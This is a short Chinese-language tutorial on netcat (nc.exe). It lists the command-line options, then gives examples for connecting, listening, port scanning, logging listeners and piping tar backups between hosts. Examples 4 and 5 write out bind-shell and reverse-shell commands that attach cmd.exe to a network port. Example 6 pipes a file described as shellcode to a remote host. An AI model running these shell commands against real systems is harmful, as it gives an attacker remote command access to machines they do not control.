'nc.exe -h'即可看到各参数的使用方法。
基本格式:
nc [-options] hostname port[s] [ports] ...
 
   nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog
程序重定向,一旦连接,就执行 [危险
!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h
帮助信息

-i secs
延时的间隔

-l
监听模式,用于入站连接

-L
连接关闭后,仍然继续监听

-n
指定数字的IP地址,不能用
hostname
-o file
记录16进制的传输

-p port
本地端口号

-r
随机本地及远程端口

-s addr
本地源地址

-t
使用TELNET交互方式

-u UDP
模式

-v
详细输出--用两个-v可得到更详细的内容

-w secs timeout
的时间

-z
将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。
1)
连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.xTCP80端口

2)
监听本地主机

格式:nc -l -p 80
讲解:监听本机的TCP80端口

3)
扫描远程主机

格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.xTCP80TCP445的所有端口

4)REMOTE
主机绑定SHELL,例子:

格式:
nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELLREMOTE主机的TCP5354端口

5)REMOTE
主机绑定SHELL并反向连接,例子:

格式:
nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.xTCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,

当配合管道命令"|"与重定向命令"<"">"等等命令功能更强大......)。

6)
作***程序用,例子:

格式1
type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2
nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x80端口,并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果,真是有异曲同工之妙
:P)
附:'c:\exploit.txt'shellcode

7)
作蜜罐用[1],例子:

格式:
nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)
作蜜罐用[2],例子:

格式:
nc -L -p 80 > c:\log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:\log.txt'中,如果把‘
>'
 
  改为‘>>'即可以追加日志

附:'c:\log.txt'为日志等

9)
作蜜罐用[3],例子:

格式1
nc -L -p 80 < c:\honeypot.txt
格式2
type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:\honeypot.txt'的内容‘送'入其管道中!

10)
备份档案
A
机的资料夹 /data备份到B主机的backup.tgz
源主机
: tar czf - work|nc -l -c -p 1234
目的主机
: nc 192.168.0.1 1234 >a.tgz

A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿